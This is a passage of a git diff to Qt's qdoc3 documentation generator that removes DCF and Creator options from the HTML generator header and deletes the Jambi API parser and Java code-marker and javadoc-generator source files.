b/tools/qdoc3/htmlgenerator.h @@ -52,20 +52,10 @@ #include "codemarker.h" #include "config.h" -#include "dcfsection.h" #include "pagegenerator.h" QT_BEGIN_NAMESPACE -#if 0 -struct NavigationBar -{ - SectionIterator prev; - SectionIterator current; - SectionIterator next; -}; -#endif - typedef QMultiMap<QString, Node*> NodeMultiMap; typedef QMap<QString, NodeMultiMap> NewSinceMaps; typedef QMap<Node*, NodeMultiMap> ParentMaps; @@ -95,10 +85,6 @@ class HtmlGenerator : public PageGenerator LastSinceType }; - enum Application { - Online, - Creator}; - public: HtmlGenerator(); ~HtmlGenerator(); @@ -106,12 +92,13 @@ class HtmlGenerator : public PageGenerator virtual void initializeGenerator(const Config& config); virtual void terminateGenerator(); virtual QString format(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); + virtual void generateTree(const Tree *tree); QString protectEnc(const QString &string); static QString protect(const QString &string, const QString &encoding = "ISO-8859-1"); static QString cleanRef(const QString& ref); static QString sinceTitle(int i) { return sinceTitles[i]; } + static QString fullDocumentLocation(const Node *node); protected: virtual void startText(const Node *relative, CodeMarker *marker); @@ -155,16 +142,6 @@ class HtmlGenerator : public PageGenerator CodeMarker *marker, const Node *relative = 0); void generateIncludes(const InnerNode *inner, CodeMarker *marker); -#if 0 - void generateNavigationBar(const NavigationBar& bar, - const Node *node, - CodeMarker *marker); -#endif - void generateTableOfContents(const Node *node, - CodeMarker *marker, - Doc::SectioningUnit sectioningUnit, - int numColumns, - const Node *relative = 0); void generateTableOfContents(const Node *node, CodeMarker *marker, QList<Section>* sections = 0); @@ -242,9 +219,6 @@ class HtmlGenerator : public PageGenerator QString registerRef(const QString& ref); virtual QString fileBase(const Node *node) const; -#if 0 - QString fileBase(const Node *node, const SectionIterator& section); -#endif QString fileName(const Node *node); void findAllClasses(const InnerNode *node); void findAllFunctions(const InnerNode *node); @@ -257,9 +231,6 @@ class HtmlGenerator : public PageGenerator const Node *relative, CodeMarker *marker, const Node** node); - virtual void generateDcf(const QString &fileBase, - const QString &startPage, - const QString &title, DcfSection &dcfRoot); virtual void generateIndex(const QString &fileBase, const QString &url, const QString &title); @@ -277,22 +248,11 @@ class HtmlGenerator : public PageGenerator void generatePageElements(QXmlStreamWriter& writer, const Node* node, CodeMarker* marker) const; - void generatePageIndex(const QString& fileName, - CodeMarker* marker) const; + void generatePageIndex(const QString& fileName) const; void generateExtractionMark(const Node *node, ExtractionMarkType markType); -#if 0 - NavigationBar currentNavigationBar; -#endif QMap<QString, QString> refMap; int codeIndent; - DcfSection dcfClassesRoot; - DcfSection dcfOverviewsRoot; - DcfSection dcfExamplesRoot; - DcfSection dcfDesignerRoot; - DcfSection dcfLinguistRoot; - DcfSection dcfAssistantRoot; - DcfSection dcfQmakeRoot; HelpProjectWriter *helpProjectWriter; bool inLink; bool inObsoleteLink; @@ -301,15 +261,15 @@ class HtmlGenerator : public PageGenerator bool inTableHeader; int numTableRows; bool threeColumnEnumValueTable; - Application application; QString link; QStringList sectionNumber; QRegExp funcLeftParen; QString style; + QString headerScripts; + QString headerStyles; + QString endHeader; QString postHeader; QString postPostHeader; - QString creatorPostHeader; - QString creatorPostPostHeader; QString footer; QString address; bool pleaseGenerateMacRef; @@ -320,7 +280,6 @@ class HtmlGenerator : public PageGenerator QStringList stylesheets; QStringList customHeadElements; const Tree *myTree; - bool slow; bool obsoleteLinks; QMap<QString, NodeMap > moduleClassMap; QMap<QString, NodeMap > moduleNamespaceMap; @@ -348,11 +307,6 @@ class HtmlGenerator : public PageGenerator #define HTMLGENERATOR_GENERATEMACREFS "generatemacrefs" // ### document me #define HTMLGENERATOR_POSTHEADER "postheader" #define HTMLGENERATOR_POSTPOSTHEADER "postpostheader" -#define HTMLGENERATOR_CREATORPOSTHEADER "postheader" -#define HTMLGENERATOR_CREATORPOSTPOSTHEADER "postpostheader" -#define HTMLGENERATOR_STYLE "style" -#define HTMLGENERATOR_STYLESHEETS "stylesheets" -#define HTMLGENERATOR_CUSTOMHEADELEMENTS "customheadelements" QT_END_NAMESPACE diff --git a/tools/qdoc3/jambiapiparser.cpp b/tools/qdoc3/jambiapiparser.cpp deleted file mode 100644 index 82404c9..0000000 --- a/tools/qdoc3/jambiapiparser.cpp +++ /dev/null @@ -1,546 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - jambiapiparser.cpp -*/ - -#include "cppcodeparser.h" -#include "jambiapiparser.h" -#include "node.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -static const char USED_INTERNALLY[] = ""; - -static Text textWithFixedBrief(const Text &text, const Text &beforeBrief, - const Text &afterBrief) -{ - Text result; - - const Atom *atom = text.firstAtom(); - while (atom) { - if (atom->type() == Atom::BriefLeft) { - result << Atom::ParaLeft << beforeBrief; - } else if (atom->type() == Atom::BriefRight) { - result << afterBrief << Atom::ParaRight; - } else { - result << *atom; - } - atom = atom->next(); - } - - return result; -} - -static void setPass1JambifiedDoc(Node *javaNode, const Node *cppNode, const QString &qName = "") -{ - Doc newDoc(cppNode->doc()); - - if (javaNode->type() == Node::Function) { - const FunctionNode *javaFunc = static_cast<const FunctionNode *>(javaNode); - if (cppNode->type() == Node::Function) { - const FunctionNode *cppFunc = static_cast<const FunctionNode *>(cppNode); - if (const PropertyNode *property = cppFunc->associatedProperty()) { - newDoc = property->doc(); - Text text(newDoc.body()); - - Node *mutableCppNode = const_cast<Node *>(cppNode); - if (property->getters().contains(mutableCppNode)) { - text = textWithFixedBrief(text, Text("Returns "), Text(".")); - } else if (property->setters().contains(mutableCppNode)) { - Text afterBrief; - if (javaFunc->parameterNames().count() == 1 - && !javaFunc->parameterNames().first().isEmpty()) { - afterBrief << " to " - << Atom(Atom::FormattingLeft, ATOM_FORMATTING_PARAMETER) - << javaFunc->parameterNames().first() - << Atom(Atom::FormattingRight, ATOM_FORMATTING_PARAMETER); - } - afterBrief << "."; - text = textWithFixedBrief(text, Text("Sets "), afterBrief); - } else if (property->resetters().contains(mutableCppNode)) { - text = textWithFixedBrief(text, Text("Resets "), Text(".")); - } - - newDoc.setBody(text); - } else { - QStringList javaParams = javaFunc->parameterNames(); - QStringList cppParams = cppFunc->parameterNames(); - newDoc.renameParameters(cppParams, javaParams); - - if (cppNode->access() == Node::Private) { - Text text; - text << Atom::ParaLeft; - if (cppFunc->reimplementedFrom()) { - text << "This function is reimplemented for internal reasons."; - } else { - text << USED_INTERNALLY; - } - text << Atom::ParaRight; - newDoc.setBody(text); - } - } - } else if (cppNode->type() == Node::Variable) { - Text text(newDoc.body()); - - if (qName == "variablegetter") { - text = textWithFixedBrief(text, Text("Returns "), Text(".")); - } else if (qName == "variablesetter") { - Text afterBrief; - if (javaFunc->parameterNames().count() == 1 - && !javaFunc->parameterNames().first().isEmpty()) { - afterBrief << " to " - << Atom(Atom::FormattingLeft, ATOM_FORMATTING_PARAMETER) - << javaFunc->parameterNames().first() - << Atom(Atom::FormattingRight, ATOM_FORMATTING_PARAMETER); - } - afterBrief << "."; - text = textWithFixedBrief(text, Text("Sets "), afterBrief); - } - - newDoc.setBody(text); - } - } else { // ### enum value names? - - } - - javaNode->setDoc(newDoc, true); -} - -static void setStatus(Node *javaNode, const Node *cppNode) -{ - if (cppNode->status() == Node::Compat) { - javaNode->setStatus(Node::Obsolete); - } else { - javaNode->setStatus(cppNode->status()); - } -} - -static Text findEnumText(Node *javaEnum, const QString &enumItemName) -{ - const Text &body = javaEnum->doc().body(); - const Atom *atom = body.firstAtom(); - while (atom) { - if (atom->type() == Atom::ListTagLeft && atom->string() == ATOM_LIST_VALUE) { - atom = atom->next(); - if (atom) { - // ### paras? - if (atom->string() == enumItemName) - return body.subText(Atom::ListItemLeft, Atom::ListItemRight, atom); - } - } else { - atom = atom->next(); - } - } - return Text(); -} - -JambiApiParser::JambiApiParser(Tree *cppTree) - : cppTre(cppTree), javaTre(0), metJapiTag(false) -{ -} - -JambiApiParser::~JambiApiParser() -{ -} - -void JambiApiParser::initializeParser(const Config &config) -{ - CodeParser::initializeParser(config); -} - -void JambiApiParser::terminateParser() -{ - CodeParser::terminateParser(); -} - -QString JambiApiParser::language() -{ - return "Java"; -} - -QString JambiApiParser::sourceFileNameFilter() -{ - return "*.japi"; -} - -void JambiApiParser::parseSourceFile(const Location &location, const QString &filePath, Tree *tree) -{ - javaTre = tree; - metJapiTag = false; - - QXmlSimpleReader reader; - reader.setContentHandler(this); - reader.setErrorHandler(this); - - QFile file(filePath); - if (!file.open(QFile::ReadOnly)) { - location.warning(tr("Cannot open JAPI file '%1'").arg(filePath)); - return; - } - - japiLocation = Location(filePath); - QXmlInputSource xmlSource(&file); - reader.parse(xmlSource); -} - -void JambiApiParser::doneParsingSourceFiles(Tree * /* tree */) -{ - /* - Also import the overview documents. - */ - foreach (Node *cppNode, cppTre->root()->childNodes()) { - if (cppNode->type() == Node::Fake) { - FakeNode *cppFake = static_cast<FakeNode *>(cppNode); - if (cppFake->subType() == Node::Page) { - FakeNode *javaFake = new FakeNode(javaTre->root(), - cppFake->name(), - cppFake->subType()); - javaFake->setModuleName("com.trolltech.qt"); // ### hard-coded - javaFake->setTitle(cppFake->title()); - javaFake->setSubTitle(cppFake->subTitle()); - setStatus(javaFake, cppFake); - setPass1JambifiedDoc(javaFake, cppFake); - } - } - } - - /* - Fix the docs. - */ - if (javaTre) { - javaTre->resolveInheritance(); - jambifyDocsPass2(javaTre->root()); - javaTre = 0; - } -} - -bool JambiApiParser::startElement(const QString & /* namespaceURI */, - const QString & /* localName */, - const QString &qName, - const QXmlAttributes &attributes) -{ - if (!metJapiTag && qName != "japi") { - // ### The file is not a JAPI file. - return true; - } - metJapiTag = true; - - EnumNode *javaEnum = 0; - EnumNode *cppEnum = 0; - InnerNode *javaParent = javaTre->root(); - InnerNode *cppParent = cppTre->root(); - - for (int i = 0; i < classAndEnumStack.count(); ++i) { - const ClassOrEnumInfo &info = classAndEnumStack.at(i); - if (info.cppNode) { - if (info.cppNode->type() == Node::Enum) { - Q_ASSERT(info.javaNode->type() == Node::Enum); - javaEnum = static_cast<EnumNode *>(info.javaNode); - cppEnum = static_cast<EnumNode *>(info.cppNode); - } else { - Q_ASSERT(info.javaNode->type() == Node::Class - || info.javaNode->type() == Node::Namespace); - javaParent = static_cast<InnerNode *>(info.javaNode); - cppParent = static_cast<InnerNode *>(info.cppNode); - } - } - } - - if (qName == "class" || qName == "enum") { - Node::Type type = (qName == "class") ? Node::Class : Node::Enum; - - QString javaExtends = attributes.value("java-extends"); - QString javaImplements = attributes.value("javaimplements"); - - ClassOrEnumInfo info; - info.tag = qName; - info.javaName = attributes.value("java"); - info.cppName = attributes.value("cpp"); - info.cppNode = cppTre->findNode(info.cppName.split("::"), type, cppParent); - if (!info.cppNode && type == Node::Class) { - type = Node::Namespace; - info.cppNode = cppTre->findNode(info.cppName.split("::"), type, cppParent); - } - - if (!info.cppNode) { - japiLocation.warning(tr("Cannot find C++ class or enum '%1'").arg(info.cppName)); - } else { - if (qName == "class") { - ClassNode *javaClass = new ClassNode(javaParent, info.javaName); - javaClass->setModuleName(attributes.value("package")); - if (!javaExtends.isEmpty()) - javaTre->addBaseClass(javaClass, Node::Public, javaExtends.split('.'), - javaExtends); - if (!javaImplements.isEmpty()) - javaTre->addBaseClass(javaClass, Node::Public, javaImplements.split('.'), - javaExtends); - - info.javaNode = javaClass; - } else { - info.javaNode = new EnumNode(javaParent, info.javaName); - } - info.javaNode->setLocation(japiLocation); - setStatus(info.javaNode, info.cppNode); - - setPass1JambifiedDoc(info.javaNode, info.cppNode); - } - classAndEnumStack.push(info); - } else if (qName == "method" || qName == "signal") { - QString javaSignature = attributes.value("java"); - if (javaSignature.startsWith("private")) - return true; - - QString cppSignature = attributes.value("cpp"); - - CppCodeParser cppParser; - const FunctionNode *cppNode = cppParser.findFunctionNode(cppSignature, cppTre, - cppParent, - true /* fuzzy */); - if (!cppNode) { - bool quiet = false; - - /* - Default constructors sometimes don't exist in C++. - */ - if (!quiet && javaSignature == "public " + javaParent->name() + "()") - quiet = true; - - if (!quiet) - japiLocation.warning(tr("Cannot find C++ function '%1' ('%2')") - .arg(cppSignature).arg(cppParent->name())); - } - - FunctionNode *javaNode; - if (makeFunctionNode(javaParent, javaSignature, &javaNode)) { - javaNode->setLocation(japiLocation); - if (qName == "signal") - javaNode->setMetaness(FunctionNode::Signal); - - if (cppNode) { - setStatus(javaNode, cppNode); - - int overloadNo = cppNode->parameters().count() - javaNode->parameters().count() + 1; - if (overloadNo == 1) { - setPass1JambifiedDoc(javaNode, cppNode); - } else { - Text text; - - text << Atom::ParaLeft << "Equivalent to " - << Atom(Atom::Link, javaNode->name() + "()") - << Atom(Atom::FormattingLeft, ATOM_FORMATTING_LINK) - << javaNode->name() - << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK) - << "("; - - for (int i = 0; i < cppNode->parameters().count(); ++i) { - if (i > 0) - text << ", "; - if (i < javaNode->parameters().count()) { - text << Atom(Atom::FormattingLeft, ATOM_FORMATTING_PARAMETER) - << javaNode->parameters().at(i).name() - << Atom(Atom::FormattingRight, ATOM_FORMATTING_PARAMETER); - } else { - // ### convert to Java - text << cppNode->parameters().at(i).defaultValue(); - } - } - - text << ")."; - - Doc doc; - doc.setBody(text); - javaNode->setDoc(doc, true); - } - javaNode->setOverload(overloadNo > 1); - } - } - } else if (qName == "variablesetter" || qName == "variablegetter") { - QString javaSignature = attributes.value("java"); - if (javaSignature.startsWith("private")) - return true; - - QString cppVariable = attributes.value("cpp"); - - VariableNode *cppNode = static_cast<VariableNode *>(cppParent->findNode(cppVariable, - Node::Variable)); - FunctionNode *javaNode; - if (makeFunctionNode(javaParent, javaSignature, &javaNode)) { - javaNode->setLocation(japiLocation); - - if (!cppNode) { -#if 0 - japiLocation.warning(tr("Cannot find C++ variable '%1' ('%2')") - .arg(cppVariable).arg(cppParent->name())); -#endif - javaNode->setDoc(Doc(japiLocation, japiLocation, - USED_INTERNALLY, - QSet<QString>()), true); - } else { - setPass1JambifiedDoc(javaNode, cppNode, qName); - setStatus(javaNode, cppNode); - } - } - } else if (qName == "enum-value") { - QString javaName = attributes.value("java"); - QString cppName = attributes.value("cpp"); - QString value = attributes.value("value"); - - if (javaEnum) { - EnumItem item(javaName, value, findEnumText(javaEnum, javaName)); - javaEnum->addItem(item); - } - } - - return true; -} - -bool JambiApiParser::endElement(const QString & /* namespaceURI */, - const QString & /* localName */, - const QString &qName) -{ - if (qName == "class" || qName == "enum") - classAndEnumStack.pop(); - return true; -} - -bool JambiApiParser::fatalError(const QXmlParseException &exception) -{ - japiLocation.setLineNo(exception.lineNumber()); - japiLocation.setColumnNo(exception.columnNumber()); - japiLocation.warning(tr("Syntax error in JAPI file (%1)").arg(exception.message())); - return true; -} - -void JambiApiParser::jambifyDocsPass2(Node *node) -{ - const Doc &doc = node->doc(); - if (!doc.isEmpty()) { - if (node->type() == Node::Enum) { - Doc newDoc(doc); - newDoc.simplifyEnumDoc(); - node->setDoc(newDoc, true); - } - } - - if (node->isInnerNode()) { - InnerNode *innerNode = static_cast<InnerNode *>(node); - foreach (Node *child, innerNode->childNodes()) - jambifyDocsPass2(child); - } -} - -bool JambiApiParser::makeFunctionNode(InnerNode *parent, const QString &synopsis, - FunctionNode **funcPtr) -{ - Node::Access access = Node::Public; - FunctionNode::Metaness metaness = FunctionNode::Plain; - bool final = false; - bool statique = false; - - QString mySynopsis = synopsis.simplified(); - int oldLen; - do { - oldLen = mySynopsis.length(); - - if (mySynopsis.startsWith("public ")) { - mySynopsis.remove(0, 7); - access = Node::Public; - } - if (mySynopsis.startsWith("protected ")) { - mySynopsis.remove(0, 10); - access = Node::Protected; - } - if (mySynopsis.startsWith("private ")) { - mySynopsis.remove(0, 8); - access = Node::Private; - } - if (mySynopsis.startsWith("native ")) { - mySynopsis.remove(0, 7); - metaness = FunctionNode::Native; - } - if (mySynopsis.startsWith("final ")) { - mySynopsis.remove(0, 6); - final = true; - } - if (mySynopsis.startsWith("static ")) { - mySynopsis.remove(0, 7); - statique = true; - } - } while (oldLen != mySynopsis.length()); - - // method or constructor - QRegExp funcRegExp("(?:(.*) )?([A-Za-z_0-9]+)\\((.*)\\)"); - if (!funcRegExp.exactMatch(mySynopsis)) - return false; - - QString retType = funcRegExp.cap(1); - QString funcName = funcRegExp.cap(2); - QStringList params = funcRegExp.cap(3).split(","); - - FunctionNode *func = new FunctionNode(parent, funcName); - func->setReturnType(retType); - func->setAccess(access); - func->setStatic(statique); - func->setConst(final); - func->setMetaness(metaness); - - QRegExp paramRegExp(" ?([^ ].*) ([A-Za-z_0-9]+) ?"); - - foreach (const QString ¶m, params) { - if (paramRegExp.exactMatch(param)) { - func->addParameter(Parameter(paramRegExp.cap(1), "", paramRegExp.cap(2))); - } else { - // problem - } - } - - if (funcPtr) { - *funcPtr = func; - } else if (!parent) { - delete func; - } - return true; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/jambiapiparser.h b/tools/qdoc3/jambiapiparser.h deleted file mode 100644 index e91bbc8..0000000 --- a/tools/qdoc3/jambiapiparser.h +++ /dev/null @@ -1,99 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - jambiapiparser.h -*/ - -#ifndef JAMBIAPIPARSER_H -#define JAMBIAPIPARSER_H - -#include <QStack> -#include <QXmlDefaultHandler> - -#include "codeparser.h" - -QT_BEGIN_NAMESPACE - -struct ClassOrEnumInfo -{ - QString tag; - QString javaName; - QString cppName; - Node *javaNode; - Node *cppNode; - - ClassOrEnumInfo() : javaNode(0), cppNode(0) {} -}; - -class JambiApiParser : public CodeParser, private QXmlDefaultHandler -{ -public: - JambiApiParser(Tree *cppTree); - ~JambiApiParser(); - - void initializeParser(const Config &config); - void terminateParser(); - QString language(); - QString sourceFileNameFilter(); - void parseSourceFile(const Location &location, const QString &filePath, Tree *tree); - virtual void doneParsingSourceFiles(Tree *tree); - -private: - bool startElement(const QString &namespaceURI, const QString &localName, - const QString &qName, const QXmlAttributes &attributes); - bool endElement(const QString &namespaceURI, const QString &localName, - const QString &qName); - bool fatalError(const QXmlParseException &exception); - void jambifyDocsPass2(Node *node); - bool makeFunctionNode(InnerNode *parent, const QString &synopsis, FunctionNode **funcPtr); - - Tree *cppTre; - Tree *javaTre; - - bool metJapiTag; - Location japiLocation; - QStack<ClassOrEnumInfo> classAndEnumStack; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/javacodemarker.cpp b/tools/qdoc3/javacodemarker.cpp deleted file mode 100644 index e2b1262..0000000 --- a/tools/qdoc3/javacodemarker.cpp +++ /dev/null @@ -1,203 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - javacodemarker.cpp -*/ - -#include "javacodemarker.h" -#include "node.h" -#include "text.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -JavaCodeMarker::JavaCodeMarker() -{ -} - -JavaCodeMarker::~JavaCodeMarker() -{ -} - -bool JavaCodeMarker::recognizeCode( const QString& /* code */ ) -{ - return true; -} - -bool JavaCodeMarker::recognizeExtension( const QString& ext ) -{ - return ext == "java"; -} - -bool JavaCodeMarker::recognizeLanguage( const QString& lang ) -{ - return lang == "Java"; -} - -QString JavaCodeMarker::plainName( const Node *node ) -{ - return node->name(); -} - -QString JavaCodeMarker::plainFullName( const Node *node, const Node * /* relative */ ) -{ - if (!node) - return QString(); - - QString fullName; - for ( ;; ) { - fullName.prepend( plainName(node) ); - if ( node->parent() && node->parent()->name().isEmpty() ) - break; - node = node->parent(); - if (!node) - break; - fullName.prepend("."); - } - return fullName; -} - -QString JavaCodeMarker::markedUpCode( const QString& code, - const Node * /* relative */, - const QString& /* dirPath */ ) -{ - return protect( code ); -} - -QString JavaCodeMarker::markedUpSynopsis(const Node * /* node */, - const Node * /* relative */, - SynopsisStyle /* style */) -{ - return QString(); -} - -QString JavaCodeMarker::markedUpName( const Node *node ) -{ - return linkTag(node, taggedNode(node)); -} - -QString JavaCodeMarker::markedUpFullName(const Node *node, const Node * /* relative */ ) -{ - QString fullName; - for ( ;; ) { - fullName.prepend( markedUpName(node) ); - if ( node->parent()->name().isEmpty() ) - break; - node = node->parent(); - fullName.prepend( "." ); - } - return fullName; -} - -QString JavaCodeMarker::markedUpEnumValue(const QString &enumValue, - const Node * /* relative */) -{ - return protect(enumValue); -} - -QString JavaCodeMarker::markedUpIncludes( const QStringList& /* includes */ ) -{ - return QString(); -} - -QString JavaCodeMarker::functionBeginRegExp( const QString& /* funcName */) -{ - return "^x$"; // ### invalid regexp -} - -QString JavaCodeMarker::functionEndRegExp( const QString& /* funcName */ ) -{ - return "^}"; -} - -QList<Section> JavaCodeMarker::sections(const InnerNode * /* inner */, SynopsisStyle /* style */, - Status /* status */) -{ - return QList<Section>(); -} - -const Node *JavaCodeMarker::resolveTarget(const QString &target, - const Tree *tree, - const Node *relative, - const Node* /* self */) -{ - if (target.endsWith("()")) { - const FunctionNode *func; - QString funcName = target; - funcName.chop(2); - - QStringList path = funcName.split('.'); - if ((func = tree->findFunctionNode(path, relative, Tree::SearchBaseClasses))) - return func; - } else if (target.contains("#")) { - int hashAt = target.indexOf("#"); - QString link = target.left(hashAt); - QString ref = target.mid(hashAt + 1); - const Node *node; - if (link.isEmpty()) { - node = relative; - } else { - QStringList path(link); - node = tree->findNode(path, tree->root(), Tree::SearchBaseClasses); - } - if (node && node->isInnerNode()) { - const Atom *atom = node->doc().body().firstAtom(); - while (atom) { - if (atom->type() == Atom::Target && atom->string() == ref) { - Node *parentNode = const_cast<Node *>(node); - return new TargetNode(static_cast<InnerNode*>(parentNode), - ref); - } - atom = atom->next(); - } - } - } else { - QStringList path = target.split('.'); - const Node *node; - if ((node = tree->findNode(path, relative, - Tree::SearchBaseClasses | Tree::SearchEnumValues))) - return node; - } - return 0; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/javacodemarker.h b/tools/qdoc3/javacodemarker.h deleted file mode 100644 index 25f80c9..0000000 --- a/tools/qdoc3/javacodemarker.h +++ /dev/null @@ -1,83 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - javacodemarker.h -*/ - -#ifndef JAVACODEMARKER_H -#define JAVACODEMARKER_H - -#include "codemarker.h" - -QT_BEGIN_NAMESPACE - -class JavaCodeMarker : public CodeMarker -{ -public: - JavaCodeMarker(); - ~JavaCodeMarker(); - - bool recognizeCode( const QString& code ); - bool recognizeExtension( const QString& ext ); - bool recognizeLanguage( const QString& lang ); - QString plainName(const Node *node); - QString plainFullName(const Node *node, const Node *relative); - QString markedUpCode( const QString& code, const Node *relative, - const QString& dirPath ); - QString markedUpSynopsis( const Node *node, const Node *relative, - SynopsisStyle style ); - QString markedUpName( const Node *node ); - QString markedUpFullName( const Node *node, const Node *relative ); - QString markedUpEnumValue(const QString &enumValue, const Node *relative); - QString markedUpIncludes( const QStringList& includes ); - QList<Section> sections(const InnerNode *innerNode, SynopsisStyle style, Status status); - QString functionBeginRegExp( const QString& funcName ); - QString functionEndRegExp( const QString& funcName ); - const Node* resolveTarget( const QString& target, - const Tree* tree, - const Node* relative, - const Node* self = 0 ); -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/javadocgenerator.cpp b/tools/qdoc3/javadocgenerator.cpp deleted file mode 100644 index d71ad6b..0000000 --- a/tools/qdoc3/javadocgenerator.cpp +++ /dev/null @@ -1,454 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "javadocgenerator.h" - -QT_BEGIN_NAMESPACE - -enum JavaSignatureSyntax { - GeneratedJdocFile, - JavadocRef, - SlotSignature -}; - -static QString javaSignature(const FunctionNode *func, JavaSignatureSyntax syntax, - int maxParams = 65535) -{ - maxParams = qMin(maxParams, func->parameters().count()); - - QString result; - - if (syntax == GeneratedJdocFile) { - if (func->access() == Node::Public) { - result += "public "; - } else if (func->access() == Node::Protected) { - result += "protected "; - } else { - result += "private "; - } - - if (func->metaness() == FunctionNode::Native) - result += "native "; - - if (func->isConst()) - result += "final "; - - // ### func->metaness() == FunctionNode::Abstract - - if (func->isStatic()) - result += "static "; - - if (!func->returnType().isEmpty()) { - result += func->returnType(); - result += ' '; - } - } - - if (syntax == SlotSignature) { - result += "void mySlot"; - } else { - result += func->name(); - } - result += '('; - for (int i = 0; i < maxParams; ++i) { - if (i != 0) - result += ", "; - result += func->parameters().at(i).leftType(); - if (syntax != JavadocRef) { - result += ' '; - result += func->parameters().at(i).name(); - } - } - result += ')'; - - return result; -} - -static QString packageName(const Node *node) -{ - while (node && node->type() != Node::Class && node->type() != Node::Fake) - node = node->parent(); - if (!node) 